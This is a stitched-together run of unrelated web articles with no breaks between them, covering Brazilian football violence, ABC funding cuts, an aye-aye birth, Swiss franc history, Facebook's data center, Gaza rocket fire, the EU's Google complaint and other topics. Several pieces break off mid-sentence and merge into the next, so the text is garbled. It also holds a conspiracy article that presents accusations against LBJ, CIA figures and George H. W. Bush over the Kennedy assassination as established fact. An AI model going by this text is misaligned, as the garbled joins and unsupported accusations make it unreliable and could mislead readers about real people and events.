Local television said Da Silva had become embroiled in a quarrel with organised groups of opposing fans following a match that drew about 8,000 supporters.
The stadium has been closed temporarily pending further inquiries.
Three more fans injured in the violence
Recife has built a new stadium, the Pernambuco Arena, for four World Cup matches on the city's outskirts, although with no top-flight side to support some locals fear the venue could prove an expensive white elephant.
Brazilian media quoted Santa Cruz president Antonio Luiz Neto as insisting his club and the police had done their best to ensure home and away fans left the ground 15 minutes apart to minimise the risk of clashes.
Three more fans were reportedly injured, one seriously, in the violence, the latest outbreak of several instances of hooliganism in recent months in Brazil.
During a major incident in December, fans of Atletico Paranaense clashed with visiting team Vasco da Gama, television cameras focusing on one bloodied man mercilessly kicked in the body and head.
President Dilma Rousseff said Brazil would not tolerate such behaviour.
But dozens of Corinthians supporters subsequently invaded their club's training complex and attacked Sao Paulo club players.
Brazil has been racing to prepare for the World Cup amid a series of construction delays and huge cost overruns.
It will cost more than $US11 billion to stage the event that the five-times champions last hosted in 1950 on a much smaller scale.
The bill has angered many citizens who say the money spent at new state-of-the-art stadiums, some in cities without a major team, such as Recife itself, would have been better directed toward upgrading poor public services.
In June, more than 1 million Brazilians marched nationwide to decry the cost of the Cup and some recent protests, while smaller, have ended in violence.
AFP
Topics: death, soccer-world-cup, soccer, sport, brazil
First postedThe ABC and SBS are to have their funding slashed.
The decision is yet another broken promise for Prime Minister Tony Abbott. But it’s hardly surprising.
To those who’ve followed the Abbott government since its election last September, this move was utterly predictable. Right from their first month in office, when the conservative hate figure of Tim Flannery was ceremoniously sacked, Abbott and his cabinet have made the punishment of perceived enemies the number one priority.
The ABC has always been one of the most hated enemies of the right.
Even if the decision is not surprising, the ham-fisted way in which the government has announced it has been. Communications Minister Malcolm Turnbull can’t exactly say he’s cutting the public broadcasters because conservatives don’t like them. So he’s trying to claim that the funding cuts are merely about reining in the federal government’s deficit.
“In every portfolio, across every spending program, we've had to look closely at what we do and how we do it,” he said yesterday. “This is what productivity is all about—getting the same, or ideally, a bigger bang for a smaller buck.”
The productivity argument is threadbare. The ABC and SBS deliver a suite of services far in excess of what their commercial rivals produce. They do it on much lower wages and with much leaner production values.
Nor will the cuts do much for the budget. Taking a few hundred million from the ABC and SBS will achieve little to repair the ballooning Commonwealth deficit, expected to top $30 billion this financial year. They will, however, lead to hundreds of redundancies and significant cuts to programming across both networks.
Even more bizarre was Turnbull’s twisted syntax as he tried to explain why the cuts were not a broken promise.
In election week last year, Tony Abbott famously pledged “no cuts to the ABC or SBS.”
And yet yesterday, Turnbull was trying to argue that he didn’t really mean it.
Pointing out that both he and Joe Hockey had signalled that the broadcasters “could not expect to be exempt” from cuts, he then said that “unless you believe that Mr Abbott, was, in that one line, intending to contradict and overrule the very careful statements of intention made by Mr Hockey and myself, his remarks can only be understood in the same context, which left open savings of a kind which would not diminish the effective resources the ABC and SBS had available to produce content.”
In other words: Tony Abbott was lying.
In fact, the cuts announced yesterday add up to nearly 8 per cent a year, according to the ABC’s Mark Scott. That’s because the headline figure of 5 per cent is in addition to budget cuts already announced this year – the termination of the Australia Network worth around 2 per cent and a 1 per cent efficiency dividend. No one thinks the ABC can keep doing everything it does currently on 8 per cent less every year.
These cuts are not about saving money. They are about appeasing the hardline right wingers in the conservative think tanks, and on the Coalition back bench.
The ABC has become a bête noire for the opinonistas of the right, not because it is particularly left wing, but precisely because it is so centrist.
If your view of the world is based entirely on what you can see from the troll caverns of the right wing shock jocks, it’s not surprising you’ll be angry with a public broadcaster that engages with the 55 per cent of Australians who vote for Labor and the Greens.
The ABC’s news coverage is scrupulously balanced, which means that the views of the Labor opposition are given roughly equal treatment to those of the Coalition government. Concepts of social justice and social democracy do get a look in, as do free market economics and the principles of smaller government. The ABC mostly covers climate change as the mainstream science that it is. This enrages denialists on the right, who would like the broadcaster to treat fringe conspiracies with every bit as much deference as robust, peer-reviewed science.
In fact, the very reason the right is so keen to assault the ABC is that it is so successful (we should spare a thought for SBS here, which seems to be basically collateral damage in this latest skirmish of the culture war).
Private media companies, where the majority of the ABC’s critics work, are collectively struggling with the contemporary media market. Their advertising base has collapsed, their circulations are plummeting and their consumers are not as keen to pay as they used to be. This makes the ABC, with its guaranteed revenue stream from the taxpayer, a genuine threat.
Why do we have public media organisations in the first place? The answers go back to the 1920s and 30s, when, in Britain and Australia, national governments set up large, taxpayer-funded national broadcasters for the first time.
In Britain, as in Australia, a vibrant commercial media already existed, both in print and in the emerging technology of radio. But radio waves were scarce property: broadcasters could scramble each other, and some form of spectrum regulation was required.
More importantly, governments felt that the compelling immediacy of radio made it too dangerous a force to be left entirely to the private sector. As the famous German philosopher Jurgen Habermas observed, public opinion plays a crucial role in democracy. And if opinion is shaped by the media, who owns that media is a critical question.
What emerged in Britain and Australia was a mixed model of media regulation in which a powerful public broadcaster existed alongside commercial competitors. These public media companies would exist for different reasons and serve different constituencies to the for-profit enterprises of the free market.
So was born the model of “public service broadcasting:” arms-length public media organisations, independent of the governments that funded them, whose mission it was, in the immortal words of the BBC’s John Reith, “to inform, educate and entertain.”
Supporters of the free market have never accepted the legitimacy of public sector broadcasting. Ever since the ABC was created, it has been bitterly opposed by private interests. As the IPA’s John Roskam wrote last year, “a state-owned media company has no place in a free society.”
The problem for the right is that voters love public broadcasting. The Reithian dream has proved wildly successful, well beyond the imagination of the early pioneers.
Public broadcasters are among the most admired, popular and trusted institutions of all – often far more respected than parliaments or even the courts. The ABC is the most trusted news source in Australia by a wide margin. The BBC is the most trusted news source in the world.
Indeed, the publics’ trust of public service broadcasting seems to be increasing in the contemporary media environment. Websites and online news sources remain among the least trusted of news sources, but newspapers and commercial broadcasters are losing ground too.
This deep reservoir of trust poses a real problem for those, particularly on the right of politics, who dislike public service media. Because the ABC is so popular, because it hews so closely to the centre of the Australian political discussion, its critics have been forced to develop new tactics in their quest for its destruction.
This is one reason why the Murdoch media and its fellow travellers in the Coalition are so obsessed by the ABC’s perceived bias. Despite all the evidence which shows that the ABC is remarkably unbiased, they persist with the criticism because they know it provides a pretext for attacking it as an institution.
It was no surprise to see a chorus of applause for the funding cuts on the front cover of today’s Australian.
But just because Andrew Bolt and Janet Albrechtsen hate the ABC doesn’t mean ordinary voters do. In fact, almost the opposite is true. As Education Minister Christopher Pyne seems to realise, attacking public broadcasting is unpopular.
That’s why the funding cuts are so characteristic of this government. Tony Abbott prefers to punish enemies than to appease voters. No wonder the opinion polls are so dire.Late last year, on November 29, The Duke Lemur Center welcomed, Elphaba, a baby Aye-aye. There have been 28 total Aye-aye births at the Lemur Center starting with the first in 1992. Elphaba weighed in at 586g just five days ago (pictured above at her exam). Little Elphaba is growing like a weed. Below are pictures of Elphaba back in late November at just three days old.
According to the Duke Lemur Center's page about Aye-aye Lemurs:
"Due to its bizarre appearance and unusual feeding habits, the Aye-aye is considered by many to be the strangest primate in the world. It is the world’s largest nocturnal primate. Unusual physical characteristics include incisors that are continually growing (unique among primates), extremely large ears, and a middle finger which is skeletal in appearance, and is used by the animal as a primary sensory organ."
Photo credits: David Haring / Duke Lemur Center
"Since a significant percentage of an aye-aye’s diet consists of insect larvae that dwell inside dead or living trees, the animals have evolved a specialized method for locating the larvae. As they walk along a branch, the animals continuously and rapidly tap it with their middle finger. Cupping their huge ears forward, the aye-aye listens intently to the echoing sounds coming from the tapped tree. When the sound indicates they are above an insect tunnel, the animals begin to tear off enormous chunks of the outer bark with their impressive teeth, until the insect tunnel is revealed. Then the aye-aye inserts its slender and highly flexible third finger into the hole, and when the prey is located, it is hooked with the tip of the finger and removed."The franc (German: Franken, French and Romansh: franc, Italian: franco; sign: Fr. or SFr.; code: CHF) is the currency and legal tender of Switzerland and Liechtenstein; it is also legal tender in the Italian exclave Campione d'Italia. The Swiss National Bank (SNB) issues banknotes and the federal mint Swissmint issues coins.
The smaller denomination, a hundredth of a franc, is a Rappen (Rp.) in German, centime (c.) in French, centesimo (ct.) in Italian, and rap (rp.) in Romansh. The ISO code of the currency used by banks and financial institutions is CHF, although Fr. is also widely used by businesses and advertisers; some use SFr. for Swiss Franc and to a lesser extent Fr.sv.[3][4][5] The Latinate "CH" stands for Confoederatio Helvetica.
Given the different languages used in Switzerland, Latin is used for language-neutral inscriptions on its coins.
History [ edit ]
Before the Helvetic Republic [ edit ]
Before 1798, about 75 entities were making coins in Switzerland, including the 25 cantons and half-cantons, 16 cities, and abbeys, resulting in about 860 different coins in circulation, with different values, denominations and monetary systems.[6]
The local Swiss currencies included the Basel thaler, Berne thaler, Fribourg gulden, Geneva thaler, Geneva genevoise, Luzern gulden, Neuchâtel gulden, St. Gallen thaler, Schwyz gulden, Solothurn thaler, Valais thaler, and Zürich thaler.
Bernese Rollbatzen, 15th century
Zürich Taler (1768)
Helvetic Republic to Regeneration 1798–1847 [ edit ]
In 1798, the Helvetic Republic introduced the franc, a currency based on the Berne thaler, subdivided into 10 batzen or 100 centimes. The Swiss franc was equal to 6 3⁄ 4 grams of pure silver or 1 1⁄ 2 French francs.[7]
32 Franken gold coin of the Helvetic Republic (1800)
Batzen coin of Vaud (1812) 40coin of Vaud (1812)
This franc was issued until the end of the Helvetic Republic in 1803, but served as the model for the currencies of several cantons in the Mediation period (1803–1814). These 19 cantonal currencies were the Appenzell frank, Argovia frank, Basel frank, Berne frank, Fribourg frank, Geneva franc, Glarus frank, Graubünden frank, Luzern frank, St. Gallen frank, Schaffhausen frank, Schwyz frank, Solothurn frank, Thurgau frank, Ticino franco, Unterwalden frank, Uri frank, Vaud franc, and Zürich frank.
Konkordatsbatzen of 1826 Berneseof 1826
franc coin of Vaud (1845) coin of Vaud (1845)
After 1815, the restored Swiss Confederacy attempted to simplify the system of currencies once again. As of 1820, a total of 8,000 distinct coins were current in Switzerland: those issued by cantons, cities, abbeys, and principalities or lordships, mixed with surviving coins of the Helvetic Republic and the pre-1798 Helvetic Republic. In 1825, the cantons of Berne, Basel, Fribourg, Solothurn, Aargau, and Vaud formed a monetary concordate, issuing standardised coins, the so-called Konkordanzbatzen, still carrying the coat of arms of the issuing canton, but interchangeable and identical in value. The reverse side of the coin displayed a Swiss cross with the letter C in the center.
Franc of the Swiss Confederation, 1850–present [ edit ]
Although 22 cantons and half-cantons issued coins between 1803 and 1850, less than 15% of the money in circulation in Switzerland in 1850 was locally produced, with the rest being foreign, mainly brought back by mercenaries. In addition, some private banks also started issuing the first banknotes, so that in total, at least 8000 different coins and notes were in circulation at that time, making the monetary system extremely complicated.[8][9]
To solve this problem, the new Swiss Federal Constitution of 1848 specified that the federal government would be the only entity allowed to issue money in Switzerland. This was followed two years later by the first Federal Coinage Act, passed by the Federal Assembly on 7 May 1850, which introduced the franc as the monetary unit of Switzerland. The franc was introduced at par with the French franc. It replaced the different currencies of the Swiss cantons, some of which had been using a franc (divided into 10 batzen and 100 centimes) which was worth 1.5 French francs.
Exchange rates with the euro and US dollar, 2003-2006
In 1865, France, Belgium, Italy, and Switzerland formed the Latin Monetary Union, in which they agreed to value their national currencies to a standard of 4.5 grams of silver or 0.290322 grams of gold. Even after the monetary union faded away in the 1920s and officially ended in 1927, the Swiss franc remained on that standard until 1936, when it suffered its sole devaluation, on 27 September during the Great Depression. The currency was devalued by 30% following the devaluations of the British pound, U.S. dollar and French franc.[10] In 1945, Switzerland joined the Bretton Woods system and pegged the franc to the US dollar at a rate of $1 = 4.30521 francs (equivalent to 1 franc = 0.206418 grams of gold). This was changed to $1 = 4.375 francs (1 franc = 0.203125 grams of gold) in 1949.
The Swiss franc has historically been considered a safe-haven currency, with a legal requirement that a minimum of 40% be backed by gold reserves.[11] However, this link to gold, which dated from the 1920s, was terminated on 1 May 2000 following a referendum.[12][13] By March 2005, following a gold-selling program, the Swiss National Bank held 1,290 tonnes of gold in reserves, which equated to 20% of its assets.[14]
In November 2014, the referendum on the "Swiss Gold Initiative" which proposed a restoration of 20% gold backing for the Swiss franc, was voted down.[15]
2011–2014: Big movements and capping [ edit ]
Euro - Swiss franc exchange rate from 1999
In March 2011, the franc climbed past the US$1.10 mark (CHF 0.91 per U.S. dollar). In June 2011, the franc climbed past US$1.20 (CHF 0.833 per U.S. dollar) as investors sought safety as the Greek sovereign debt crisis continued.[16] Continuation of the same crisis in Europe and the debt crisis in the US propelled the Swiss franc past US$1.30 (CHF 0.769 per U.S. dollar) as of August 2011, prompting the Swiss National Bank to boost the franc's liquidity to try to counter its "massive overvaluation".[17] The Economist argued that its Big Mac Index in July 2011 indicated an overvaluation of 98% over the dollar, and cited Swiss companies releasing profit warnings and threatening to move operations out of the country due to the strength of the franc.[18] Demand for francs and franc-denominated assets was so strong that nominal short-term Swiss interest rates became negative.[19]
On 6 September 2011, when the exchange rate was 1.095 CHF/€[20] and appeared to be heading for parity with the euro, the SNB set a minimum exchange rate of 1.20 francs to the euro (capping franc's appreciation), saying "the value of the franc is a threat to the economy",[21] and that it was "prepared to buy foreign currency in unlimited quantities".[22] In response to this announcement the franc fell against the euro, to 1.22 francs from 1.12 francs[23] and lost 9% against the U.S. dollar within fifteen minutes.[24] The intervention stunned currency traders, since the franc had long been regarded as a safe haven.[25][26]
The franc fell 8.8% against the euro, 9.5% against the dollar, and at least 8.2% against all 16 of the most active currencies on the day of the announcement. It was the largest plunge of the franc ever against the euro.[27] The SNB had previously set an exchange rate target in 1978 against the Deutsche mark and maintained it,[clarification needed] although at the cost of high inflation.[28] Until mid |
data center—improve it by leaps and bounds.
Cut From Fresh Fabric
Facebook calls this a new "data center fabric." If you're interested in the details, you can read up on them in a blog post penned by Alexey Andreyev, the lead engineer on the project. But the long and the short of it is that Andreyev and his team have created a network that's modular.
The network is divided into "pods," and the company can add more pods whenever it likes. This means it's much easier to expand the network, says Najam Ahamd, who helps oversee networking engineering at Facebook. But it also means that Facebook can more easily and more quickly move data across the network.
If you think about how Facebook works at all, you probably think about information traveling from a Facebook data center to your phone. But the Facebook application is now so complex—drawing on information from so many different servers—there's actually more information flowing within the Facebook data centers than information traveling between the servers and people like you. According to Ahmad, there's an order-of-magnitude difference between the two. The new data center fabric is designed to help deal with all that extra traffic inside the data center.
Part of the trick is that Facebook uses what are called "layer3" protocols to drive the entire network, all the way from the middle of the network to the servers. Basically, this means that machines can more easily send data to any other machines on the network. "It gives you a lot more flexibility," Perry says. But the other part is that in the middle of the network, the company isn't relying on enormously expensive switches to do the heavy lifting.
On the Horizon
So, Facebook's new data center is not only more efficient, it's cheaper to build—at least in relative terms. "Moving from a small number of large switches to a greater number of smaller switches was one way to reduce complexity and allows us to scale," says Ahmad. "It is also less expensive because of the competitive market. These smaller switches are available from a wider number of vendors.”
But this is about more than Facebook. The other large internet companies are moving in this direction as well. Carl Perry says he designed something similar—though on a smaller scale—inside cloud services such as Dreamhost. The kind of network Facebook has built in Altoona, he says, is what so many others will build in the future. "This is something that a lot of us have seen coming on the horizon."Former CIA agent, Watergate conspirator E. Howard Hunt names the men who killed Kennedy
The “deathbed confession” audio tape in which former CIA agent and Watergate conspirator E. Howard Hunt admits he was approached to be part of a CIA assassination team to kill JFK. It is an astounding development that has gone completely ignored by the establishment media.
Saint John Hunt, son of E. Howard Hunt, appeared on the nationally syndicated Coast to Coast Live radio show in April of 2007 to discuss the revelations contained in the tape.
Hunt said that his father had mailed cassette the tape to him alone in January 2004 and asked that it be released after his death. The tape was originally 20 minutes long but was edited down to four and a half minutes for the Coast to Coast broadcast.
Below is the audio clip of the tape:
E. Howard Hunt names numerous individuals with both direct and indirect CIA connections as having played a role in the assassination of Kennedy, while describing himself as a “bench warmer” in the plot. Saint John Hunt agreed that the use of this term indicates that Hunt was willing to play a larger role in the murder conspiracy had he been required.
Hunt alleges on the tape that then Vice President Lyndon B. Johnson was involved in the planning of the assassination and in the cover-up, stating that LBJ, “Had an almost maniacal urge to become president, he regarded JFK as an obstacle to achieving that.”
Asked if his father followed the conspiracy theories into the Kennedy assassination, Saint John said the elder Hunt did follow the work of AJ Weberman, a New York freelance writer, who in the early 70’s first accused Hunt of being one of three bums who were arrested in Dealy Plaza. The so-called bums (pictured above) were interrogated and later released by authorities shortly after the assassination. Weberman, one of the founders of the Youth International Party, the Vippies, published photographs of the tramps and found that two of them bore striking similarities to Hunt and Frank Sturgis, also named by Hunt in the tape as having been played a role in the assassination conspiracy.
Asked for his opinion as to whether his father was indeed one of the Dealy Plaza tramps, Saint John, in a stunning revelation, said one of the tramps indeed looked much like his father did in 1963 (see comparison above).
CIA operative Frank Stugis’ striking resemblance to one of the “tramps”.
Other researchers believe the “Hunt tramp” to really be Chauncey Holt, who apparently later confessed to the fact. Charles Harrelson was allegedly identified as the third tramp.
Saint John Hunt said that shortly before his death, his father had felt “deeply conflicted and deeply remorseful” that he didn’t blow the whistle on the plot at the time and prevent the assassination, but that everyone in the government hated Kennedy and wanted him gone in one way or another. Kennedy’s promise to “shatter the CIA into a thousand pieces and scatter the remnants to the wind” was being carried out and this infuriated almost everyone at the agency.
Hunt also said that his mother’s death in a December 8, 1972 plane crash in Chicago was suspicious and that there was evidence of a White House cover-up surrounding the circumstances of the alleged accident.
Investigators discovered $10,000 dollars in her luggage and Hunt alleged that his mother traveled around the country using Nixon campaign money to payoff the families of the Watergate burglars to keep them quiet about the involvement of the Nixon White House in the Watergate break-in and cover-up.
Hunt cited numerous coincidences surrounding the aftermath of the crash, including Nixon’s appointment of his henchman, Egil Krough, to the National Transportation Safety Board which investigates plane crashes, the very day after the incident.
Eyewitnesses reported that the plane exploded above treetop level before it had even hit the runway.
Hunt said that “at least 20-25 FBI members,” as well as numerous DIA agents were at the scene of the crash within minutes before rescue personnel had even arrived, and that this fact was attested to in a letter sent by the head of the Chicago FBI to investigator Sherman Skolnick.
Hunt said that his safety was guaranteed by the dissemination of the tape and that he had several copies and had mailed others to addresses both abroad and in the U.S.
“Once this information is out there’s really no point in anyone trying to do me in or do me wrong – someone may try to discredit me but I have no skeletons in my closet,” said Hunt.
As we have previously reported, the night before the Kennedy assassination, Lyndon Baines Johnson met with Dallas tycoons, FBI moguls and organized crime kingpins – emerging from the conference to tell his mistress Madeleine Duncan Brown that “those SOB’s” would never embarrass him again.
Though Brown first went public on her 21-year relationship with Johnson in the early 80’s, to this day her shocking revelations about how he had told her the Kennedy’s “would never embarrass me again” the night before the assassination are often ignored by the media who prefer to keep the debate focused on issues which can’t definitively be proven either way (or at least can be spun and whitewashed).
George Herbert Walker Bush was also pictured at the scene of the crime in Dealy Plaza.
In addition, Barr McClellan, father of former White House press secretary Scott McClellan and a partner in the Austin law firm that represented Johnson, wrote in his 2003 book that LBJ was a key player in the organization of the assassination and its cover-up. McClellan’s revelations were the subject of a subsequent History Channel documentary called The Guilty Men.
The Most Revealing Wink Of The 20th Century
Congressman Albert Thomas winks back at a quickly-smiling LBJ as he is being sworn in to be the next President of the United States on Air Force One while the grief-stricken Jackie Kennedy stands next to him.
Jack Ruby making a statement about his motives for shooting Lee Harvey Oswald
WHAT HE JUST SAID WAS LBJ WAS DIRECTLY INVOLVED IN JFK S ASSASSINATION Ruby is directly implicating LBJ in the assassination of JFK.
viaelligent Design" cannot be displayed
Please try the following: Click the Redefine Belief/Science button, or try again later.
Redefine Belief/Science button, or try again later. If you are a result of fundamentalist education and typed your search in the address bar, make sure that it is spelled correctly. (Intelligent Design). If that fails, you should just realize that you're looking for creation science!
To check your intelligence settings, click the Sound Intelligent menu, and then click Education Level. On the Religious University tab, click Diploma Mills. The settings should match those provided by your church or creationist website. If God has enabled it, He can examine your community and automatically discover Atheists, Agnostics, Pagans, Wiccans, Satanists, Mormons, Catholics, Gay people, Feminists, Adulterers, Theistic Evolutionists, etc. that question biblical literalism.
If you would like to use God to try and discover them,
click Fortress Mentality Some evolutionists require sayings from other evolutionists to show the flaws of evolution. Click the Evil Atheist Scientists menu and then click Misquote to determine how to quote to your advantage. If you are dealing with evil heathens and are trying to protect your soul, make sure you can convert the masses. Click the Propaganda menu, and then click on Chick Tract Orders. On the Advanced tab, scroll to the Kent Hovind section and check settings for Acceptable Amount of False Witness. Click the Blatant Lies button if you are Kent Hovind
Cannot find Creation Science or Intelligent Design
Fundy Explorer
Made by Nike Young of GameshowImage caption Israel has said it will intensify its actions if rocket-fire continues
A fresh volley of rockets from Gaza have hit Israel amid some of the most intense cross-border fighting in weeks.
Israel says 11 rockets landed, one of which fell next to a house in Netivot. Several people were treated for shock.
Earlier, six Palestinians, including two militants, were killed in Israeli air strikes on Gaza, following an attack by militants on an army jeep.
Israeli Prime Minister Benjamin Netanyahu vowed to "take action to put a stop" to the rocket-fire.
Speaking on a visit to the southern city of Ashkelon on Monday, he said: "The world must understand that Israel has the right and a total obligation to defend its citizens."
"We are not going to sit idly by when we confront the repeated almost daily attacks on our citizens and children."
Hamas, the Islamist group which governs the Gaza Strip, said members of militant groups in the coastal territory were meeting "to discuss the Israeli aggression", the AFP news agency reported.
The EU's foreign policy chief, Catherine Ashton, urged both sides to "refrain from exacerbating the situation" during a visit to Egypt. Cairo is reported to have been trying to arrange a ceasefire.
The latest flare-up of violence began on Saturday evening, when Palestinian militants fired an anti-tank missile at an Israeli patrol on the Israeli side of the border fence, wounding four soldiers.
The Israeli army responded by shelling sites in Gaza, killing six Palestinians, including four civilians.
Since then, more than 100 missiles have been fired into Israel, and the Israeli military has carried out a series of air strikes, officials say.
On Sunday night, the Israeli Air Force targeted what it said were a "terror tunnel and a weapons facility" in northern Gaza, and a rocket-launching site in the south. There were no reports of casualties.
As well as the six people killed in Gaza, dozens of Palestinians and at least eight Israelis have been injured since Saturday.
Militant factions, excluding Hamas' military wing, the Izz al-Din al-Qassam Brigades, said they fired the latest round of rockets. Israel holds Hamas responsible for all attacks emanating from there.
The latest bout of fighting follows clashes in which a 13-year-old Palestinian youth was killed and an Israeli soldier hurt when militants blew up a tunnel in what they said was revenge for the boy's death.A cyclist was very lucky to only have minor injuries after being struck by a vehicle going 100 km/h near Deacon's Corner on Monday, Manitoba RCMP say.
The cyclist was trying to cross Highway 1 at Provincial Road 206 around 11:30 a.m., when she was hit by an eastbound SUV.
The 27-year-old woman was thrown from the bike, landing in a ditch.
She was transported to a hospital in Winnipeg with non-life threatening injuries.
"Apparently they were saying the cyclist was talking fine and only complaining of sore hips after being hit," said RCMP spokesperson Sgt. Paul Manaigre.
"Someone up above was looking after her today," he added.
The driver of the SUV was not injured, but the passenger was treated for minor injuries from glass shattering.
More Manitoba newsImage copyright Google Image caption Google pitches its shopping service as a "matchmaker" between products and customers
The European Union has filed a complaint against Google over its alleged anti-competitive behaviour.
The competition commissioner said she had issued a "statement of objections", stating that the firm's promotion of its own shopping links amounted to an abuse of its dominance in search.
Margrethe Vestager said Google now had 10 weeks to respond.
The firm said it "strongly disagreed" with the allegations and looked forward to making its case.
Ms Vestager also revealed that she had launched an investigation into whether the way Google bundled apps and services for its Android operating system was unfair.
And the commissioner said the EU would continue to monitor other activities by Google that its rivals had complained about.
Media playback is unsupported on your device Media caption EU competition commissioner Margrethe Vestager said any action against Google was aimed at helping consumers
It follows a five-year investigation into the company and marks the start of a formal legal process that could ultimately lead to billions of euros of fines.
Google accounts for more than a 90% of EU-based web searches.
'Preferential treatment'
The European Commission has investigated the antitrust allegations - made by Microsoft, Tripadvisor, Streetmap and others - since 2010.
Among their complaints was an objection to Google placing adverts from its Shopping service ahead of others' links in relevant searches.
Image copyright Google Image caption The EU has objected to the way Google promotes results from its own shopping service
Ms Vestager said the Commission's preliminary findings supported the claim that Google "systematically" gave prominence to its own ads, which amounted to an abuse of its dominant position in search.
"I'm concerned that Google has artificially boosted its presence in the comparison shopping market with the result that consumers may not necessarily see what's most relevant for them, or that competitors may not get the the commercial opportunity that their innovative services deserve," she told a press conference in Brussels.
Ms Vestager said that she was not seeking a wider redesign of Google's search results or asking it to change its algorithms.
But she added that the case could set a precedent that would determine how the EU handled other complaints about Google favouring its own mapping, hotels and flights services.
Media playback is unsupported on your device Media caption Rory Cellan-Jones explains why Google's competitors want changes to its search results
Google has rejected the idea its Shopping service distorts the market.
"While Google may be the most used search engine, people can now find and access information in numerous different ways - and allegations of harm, for consumers and competitors, have proved to be wide of the mark," wrote its search chief Amit Singhal on the firm's blog.
"It's clear that: (a) there's a ton of competition - including from Amazon and eBay, two of the biggest shopping sites in the world and (b) Google's shopping results have not the harmed the competition.
"Any economist would say that you typically do not see a ton of innovation, new entrants or investment in sectors where competition is stagnating - or dominated by one player. Yet that is exactly what's happening in our world."
Many of Google's rivals welcomed the EU's action.
"Google's abuse of dominance distorts European markets, harms consumers, and makes it impossible for Google's rivals to compete on a level playing field," said lobbying group Icomp.
"We see this statement of objection as a crucial first step towards ensuring that European consumers have access to vibrant and competitive online markets."
Image copyright Ebay Image caption Google suggests that services including eBay ensure it does not distort the shopping search market
Android inquiry
The EU has also launched a separate investigation into Google's Android operating system, used by smartphones and tablets, which will focus on three topics:
claims that Google requires or incentivises manufacturers to pre-install its own search engine, apps and other services and exclude rival products
allegations that Google unfairly insists its services are bundled, meaning some cannot be pre-installed without including the others
complaints that the firm is hindering manufacturers from developing alternative versions of Android, which is open source. These are commonly known as "forks", with Amazon's Fire OS and Xiaomi's Mi being two examples
"These issues are distinct from the Google comparison shopping case and the investigations will of course be different," Ms Vestager said.
Image copyright Getty Images Image caption Google says the way it distributes its apps ensures that Android smartphones offer a "great" experience
In response, Google stressed that Android devices could be offered without its services.
"It's important to remember that [our partner agreements] are voluntary - you can use Android without Google - but provide real benefits to Android users, developers and the broader ecosystem," said lead engineer Hiroshi Lockheimer.
"Our app distribution agreements make sure that people get a great 'out of the box' experience with useful apps right there on the home screen. This also helps manufacturers of Android devices compete with Apple, Microsoft and other mobile ecosystems that come preloaded with similar baseline apps."
Complex subject
Google could ultimately face huge fines and be ordered to reshape its business in Europe because of the shopping complaint.
Image copyright Google Image caption Some searches cause Google Shopping's ads to be offset to the side of the screen
In recent years, the Commission has imposed antitrust penalties on other tech giants, ordering Intel to pay €1.1bn (£793m; $1.2bn) in 2009, and Microsoft €516m in 2013.
However, Ms Vestager said she was "open" to Google's response, and would listen to its case before deciding how to proceed.
One independent expert said that the matter could take years to resolve.
"I can't see that this will be a fast process given the complexity of the subject matter, what's at stake and the likely level of the fine," said Paul Henty, a lawyer at Charles Russell Speechlys who has previously worked for the European Commission.
International inquiries
The EU's investigation is not the only one Google is facing.
Investigators at India's Competition Commission delivered a report last week after carrying out a three-year probe into claims of unfair business practices.
Their counterparts in Russia, Brazil, Argentina, Taiwan and Canada have also opened investigations.
However, the US Federal Trade Commission dropped its own probe at the start of 2013 after Google made several non-binding commitments.Roald AMUNDSEN (1872 - 1928), translated by Arthur G. CHATER ( - )
In contrast to Scott's South Pole expedition, Amundsen's expedition benefited from good equipment, appropriate clothing, and a fundamentally different primary task (Amundsen did no surveying on his route south and is known to have taken only two photographs). Amundsen had a better understanding of dogs and their handling, and he used of skis more effectively. He pioneered an entirely new route to the Pole, and they returned. In Amundsen's own words: "Victory awaits him who has everything in order -- luck, people call it. Defeat is certain for him who has neglected to take the necessary precautions in time; this is called bad luck." Short accounts by other members of the party are appended. (Summary adapted from Wikipedia by Karen Merline.)Relaxnews
Even if Uber's latest autonomous automobile accident is a timely reminder that we're still some way off truly self-driving cars, a new Harris Poll gauging the opinions of 3,000 U.S. drivers finds that most people are already dreaming about what to do with all the spare time they'll have when their cars are capable of driving themselves.
The study, commissioned by Erie Insurance finds that dream is an apt description as 51 per cent think that they'll be able to catch up on much needed sleep, or at least not worry about becoming drowsy and inattentive, especially on longer journeys.
Texting (34 per cent), reading (27 per cent) and playing video games (11 per cent) are also popular potential pastimes with 2 per cent believing that they'd actually be able to exercise while on the go.
Despite years of steady improvement, in 2015 (the most recent year for accurate figures) the number of traffic fatalities on U.S. roads jumped to 38,300 while 4.4 million were also seriously injured -- even though the modern automobile has never been safer.
U.S. authorities suggest that cheaper gas prices, more people driving for work, and increases in distracted driving behavior are the driving forces behind these figures. And when asked about the risks of distracted driving, 59 per cent of respondents said that they believe self-driving cars will be the key to eliminating this behavior and making roads safer for all.
And as cars start to go on general sale that are capable of self-steering and maintaining lane discipline on the highway, such as the Volvo S90, Mercedes E Class and Tesla Model S, it can seem to some that the age of the autonomous automobile is already here.
"Current technology is going a long way to keep us safer on the road, but the last thing we want is for people to become over-confident as this technology continues to evolve," said Cody Cook, Erie Insurance vice president. "Unfortunately, our survey finds that many people are getting ahead of themselves -- making plans for what they'll do in the car instead of paying attention to the road."
Huge gains in development are being made every day but as shown by Uber's accident last week in Arizona, where one of its self-driving cars was flipped on its side when an oncoming car that should have given way, refused to yield, much work needs to be done on the issue of how autonomous cars interact with those driven by unpredictable humans.
"The interaction between robot cars and human-driven cars is an area of serious concern and requires research," said John M. Simpson, Privacy Project Director for U.S. not-for-profit public interest group Consumer Watchdog.
The incident has also raised questions about transparency, regulation and one of the biggest single issues surrounding autonomous driving tech -- who is responsible when a car in autonomous mode has an accident?
"Self-driving car manufactures and developers must accept responsibility when their automated and autonomous technologies fail," said Simpson. "There must be complete transparency and accountability about what they are doing, which clearly can threaten public safety."The Antarctic Climate Card
By Paul Homewood
When it comes to the poles, it is always the Arctic which gets most of the attention. Time then to update what has been going on down under lately.
RSS shows that atmospheric temperatures have effectively remained unchanged during the satellite era, dropping by just 0.02C/decade. (UAH are similar, with a drop of 0.01C).
http://images.remss.com/msu/msu_time_series.html
2015 finished at 0.15C below the baseline average of 1979-98.
http://data.remss.com/msu/graphics/TLT/time_series/RSS_TS_channel_TLT_Southern%20Polar_Land_And_Sea_v03_3.txt
Sea ice extent has been running close to average for the last few months, down from last year’s record levels.
http://nsidc.org/data/seaice_index/index.html
Sea ice area also shows no long term changes.
http://arctic.atmos.uiuc.edu/cryosphere/IMAGES/seaice.anomaly.antarctic.png
And, to complete the picture, SSTs across the Southern Ocean remain much lower than they were prior to 2005.
